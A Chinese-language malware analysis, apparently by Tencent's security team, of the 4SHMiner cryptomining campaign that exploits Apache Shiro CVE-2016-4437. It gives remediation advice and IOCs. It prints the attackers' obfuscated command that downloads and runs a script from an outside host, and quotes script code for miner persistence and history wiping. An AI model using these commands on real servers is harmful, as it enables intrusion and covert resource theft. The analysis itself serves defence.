本帖最后由 腾讯电脑管家 于 2020-11-19 18:55 编辑
背景近日腾讯云主机安全(云镜)捕获到挖矿木马4SHMiner利用Apache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux service、systemctl服务,系统配置文件$HOME/.profile,crontab定时任务进行持久化。
通过其使用的门罗币钱包算力(约333KH/s)进行推算,4SHMiner团伙已控制约1.5万台服务器进行挖矿,并且根据算力突变数据可知其在2020.11.16至17日一天之内新增感染近1万台机器。腾讯安全建议企业及时检查服务器是否部署了小于1.2.5版本的Apache Shiro,并将其升级到1.2.5及以上版本。同时对以下位置进行检查并删除相关文件和启动项:
/tmp/4.sh /tmp/xmrig.tar.gz $HOME/moneroocean/xmrig /etc/init.d/c3pool_miner /etc/systemd/system/moneroocean_miner.service $HOME/.profile crontab 腾讯安全系列产品应对4SHMiner挖矿木马的响应清单:
详细分析
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。 该漏洞利用POC已被公开:
攻击者批量扫描网站,并将精心构造的包含漏洞利用的数据包发送至服务器。
漏洞攻击成功执行恶意命令: bash -c {echo,d2dldCBodHRwOi8vd3d3LnNoaXp1MzcuY29tL3N0YXRpYy80LnNoIC1PIC90bXAvNC5zaCAmJiBiYXNoIC90bXAvNC5zaCAxMjM=}|{base64,-d}|{bash,-i}
base64解码命令: wget http[:]//www.shizu37.com/static/4.sh -O /tmp/4.sh && bash /tmp/4.sh 123
恶意命令从www[.]shizu37.com下载shell脚本4.sh,保存到tmp目录并执行。我们发现www[.]shizu37.com是厦门某服装企业的网站,有可能是被黑客利用漏洞入侵之后,控制服务器将其作为木马下载地址。
4.sh主要功能为下载安装挖矿木马及持久化。首先检测进程xmrig是否存在,不存在则启动挖矿进程$HOME/moneroocean/xmrig。
设置参数,其中WALLET为门罗币钱包,EMAIL通过4.sh启动时的第二个参数传入。 WALLET='48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF' EMAIL=$2
检测运行环境,设置当前目录为home,安装脚本执行所需的curl、lscpu程序。
通过lscpu命令获取CPU频率、核心数、缓存大小等信息,并通过公式计算的到EXP_MONERO_HASHRATE(每秒可执行哈希量)。
利用EXP_MONERO_HASHRATE进一步计算得到PORT,PORT将会作为后续挖矿时的端口号。 PORT=$(( $EXP_MONERO_HASHRATE * 12 / 1000 )) PORT=$(( $PORT == 0 ? 1 : $PORT )) PORT=`power2 $PORT` PORT=$(( 10000 + $PORT )) if [ -z $PORT ]; then echo "ERROR: Can't compute port" exit 1 fi if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then echo "ERROR: Wrong computed port value: $PORT" exit 1 fi
接着下载XMRig挖矿木马到/tmp/xmrig.tar.gz,并将其解压到$HOME/moneroocean/xmrig,同时下载配置文件到$HOME/moneroocean/config.json。 挖矿木马下载地址: http[:]//download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz https[:]//raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz https[:]//github.com/xmrig/xmrig/releases/latest 配置文件下载地址: http[:]//www.shizu37.com/static/config.json
从启动命令第一个参数$1中获得挖矿登陆密码$PASS,以及利用CPU信息计算得到的$PORT、内置钱包地址$WALLET写入$HOME/moneroocean/config.json,并将配置文件拷贝到 $HOME/moneroocean/config_background.json。
创建挖矿木马启动脚本$HOME/moneroocean/miner.sh并拷贝到/etc/init.d/c3pool_miner,通过服务启动挖矿service c3pool_miner start。
将挖矿启动命令写入配置文件$HOME/.profile以便在用户登陆时自动运行。
修改最大内存页hugepages以提高性能。 if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then echo " Enabling huge pages" echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) fi
通过安装systemctl服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本: cat >/tmp/moneroocean_miner.service <<EOL [Unit] Description=Monero miner service [Service] ExecStart=$HOME/moneroocean/xmrig --config=$HOME/moneroocean/config.json Restart=always Nice=10 CPUWeight=1
[Install] WantedBy=multi-user.target EOL sudo mv /tmp/moneroocean_miner.service /etc/systemd/system/moneroocean_miner.service echo " Starting moneroocean_miner systemd service" sudo killall xmrig 2>/dev/null sudo systemctl daemon-reload sudo systemctl enable moneroocean_miner.service sudo systemctl start moneroocean_miner.service
通过安装crontab定时任务在每天21:30分执行一次挖矿启动脚本: cat >/tmp/cron << EOL 30 21 * * * bash $HOME/moneroocean/miner.sh EOL echo "" echo "Persistent process by crontab service" yum -y install vixie-cron yum -y install crontabs sudo apt-get install cron systemctl start crond.service systemctl enable crond.service service crond start chkconfig --level 35 crond on crontab /tmp/cron echo " Setup complete"
最后删除临时文件、删除命令执行记录: rm -f /tmp/*.sh rm -f /tmp/cron history -c echo ''>/$HOME/.bash_history
从脚本中获得挖矿使用的两个矿池和钱包: 矿池:mine.c3pool.com:13333 钱包: 4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68
矿池:gulf.moneroocean.stream 钱包: 48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF
按照钱包平均算力121 KH/s+212 KH/s=333 KH/s,推算其控制约一万五千台服务器进行挖矿。其中第二个钱包在2020.11.16日晚至17日凌晨算力突增约180KH/s,意味着该挖矿木马在一天之内新增感染近1万台服务器。
IOCsMd5 4.sh 431F20DFF2233F7A4A286105958D28BE xmrig.tar.gz 4C010F248891A65E91600B613A654F5F
IP 118.254.9.180
URL http[:]//www.shizu37.com/static/4.sh http[:]//www.shizu37.com/static/config.json
钱包: 4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68 48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF
参考链接:
|